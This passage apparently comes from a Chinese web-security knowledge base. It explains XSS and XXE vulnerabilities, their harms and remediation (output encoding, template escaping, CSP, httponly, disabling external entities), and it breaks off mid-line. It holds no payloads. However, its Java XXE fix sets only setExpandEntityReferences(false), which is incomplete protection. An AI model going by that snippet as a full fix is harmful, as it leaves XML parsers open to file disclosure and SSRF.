存储型XSS由于存储在数据库或其他持久性中间件中，所以用户只需浏览了包含恶意代码的页面即可在用户无感知的情况下触发。 25 | 26 | 反射型xss应用场景：比如注册处、用户名、地址、头像等信息，用户反馈、留言、修改个人信息、发表文章、评论、转发、私信等一切输入输出的地方。 27 | 28 | ## 0x03 漏洞危害 29 | 30 | 1. 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript以监控目标网站的表单输入，甚至发起基于DHTML更高级的钓鱼攻击方式。 31 | 2. 网站挂马：跨站后利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。 32 | 3. 身份盗用：Cookie是用户对于特定网站的身份验证标志，XSS可以盗取用户的Cookie，就可以获取到用户对网站的操作权限，从而查看用户隐私信息。 33 | 4. 用户劫持：一些高级的XSS，比如xss蠕虫等。 34 | 5. 控制受害者机器向其他系统发起攻击。 35 | 36 | ## 0x04 修复建议 37 | 38 | ### 4.1 代码层面 39 | 40 | #### 4.1.1 在服务端进行输入验证（输入验证） 41 | 42 | 服务器后端进行输入验证，包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。 43 | 44 | #### 4.1.2 数据输出实体编码（输出编码） 45 | 46 | 输出编码手段主要有3种编码：URL编码、HTML编码和JavaScript编码。 47 | 48 | JAVA：开源的`ESAPI library`；框架（Spring：`HtmlUtils.htmlEscape`） 49 | PHP：使用`htmlspecialchars`等函数进行过滤输出 50 | 51 | ### 4.2 其他层面 52 | 53 | #### 4.2.1 使用模版引擎 54 | 55 | 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 `<%= data %>` 而不是 `<%- data %>`； 在 doT.js 中，尽量使用` {{! data }` 而不是 `{{= data }`； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 `freemarker.core.OutputFormat`。 56 | 57 | #### 4.2.2 避免内敛事件 58 | 59 | 尽量不要使用 `onLoad="onload('{{data}}')"`、`onClick="go('{{action}}')" `这种拼接内联事件的写法。在 JavaScript 中通过 `.addEventlistener() `事件绑定会更安全。 60 | 61 | #### 4.2.3 避免拼接 HTML 62 | 63 | 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。 64 | 65 | #### 4.2.4 使用CSP 66 | 67 | Content Security Policy：禁止加载外域代码，防止复杂的攻击逻辑；禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；禁止内联脚本执行；禁止未授权的脚本执行。 68 | 69 | #### 4.2.5 使用httponly 70 | 71 | HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly无法完全的防御xss漏洞，它只是规定了不能使用js去获取cookie的内容，因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的，可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单，使用也很灵活，并且对防御cookie劫持非常有用，因此已经渐渐成为一种默认的标准。 72 | 73 | -------------------------------------------------------------------------------- /docs/web/xxe.md: -------------------------------------------------------------------------------- 1 | # XXE 2 | 3 | ## 0x01 漏洞描述 4 | 5 | XML 指可扩展标记语言（eXtensible Markup Language），是一种用于标记电子文件使其具有结构性的标记语言，被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。目前，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛。 XML 的语法规范由 DTD （Document Type Definition）来进行控制。 6 | 7 | XML外部实体注入（XML External Entity Injection）漏洞是指当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时，该攻击就会发生。 8 | 9 | ## 0x02 常见应用场景 10 | 11 | XXE可能出现在一切可接收XML文档的业务逻辑处。 12 | 13 | > SOAP型Web Service。SOAP型的Web Service允许我们使用XML格式与服务器进行通信。 14 | > 15 | > REST型Web Service。REST型Web Service允许我们使用JSON格式（也可以使用XML格式）与服务器进行通信。与HTTP类似，该类型服务支持GET、POST、PUT、DELETE方法。 16 | > 17 | > WSDL给出了SOAP型Web Service的基本定义，WSDL基于XML语言，描述了与服务交互的基本元素，比如函数、数据类型、功能等，少数情况下，WSDL也可以用来描述REST型Web Service。 18 | > 19 | > WADL就像是WSDL的REST版，一般用于REST型Web Service，描述与Web Service进行交互的基本元素。 20 | 21 | 比如：采用RESTful架构风格的终端通常都是以JSON作为传输格式，但是许多服务端开发框架也允许基于数据交换的XML格式作为输入，可以通过尝试将 Content-Type修改为application/xml，text/xml进行验证。 22 | 23 | 另外，采用xml的java服务中间件，比如spring，struts2等也可能出现XXE漏洞 24 | 25 | ## 0x03 漏洞危害 26 | 27 | 1. 利用 XXE 进行 DOS 攻击； 28 | 2. 读取本地任意敏感文件； 29 | 3. 利用相关协议进行SSRF探测内网主机IP、端口等信息； 30 | 4. 在特定条件下利用Java中的` jar://` 协议，php 中的 `phar://`可能导致恶意文件上传； 31 | 5. PHP中如果安装了expect扩展，可利用XXE执行任意命令 32 | 33 | ## 0x04 修复建议 34 | 35 | ### 4.1 使用语言中推荐的禁用外部实体的方法 36 | 37 | PHP： 38 | 39 | ```php 40 | libxml_disable_entity_loader(true); 41 | ``` 42 | 43 | Java: 44 | 45 | ```java 46 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); 47 | dbf.setExpandEntityReferences(false); 48 | ``` 49 | 50 | Python: 51 | 52 | ```python 53 | from lxml import etree 54 | xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 55 | ``` 56 | 57 | ### 4.2 手动黑名单过滤 58 | 59 | 过滤XML中的相关关键词，比如：`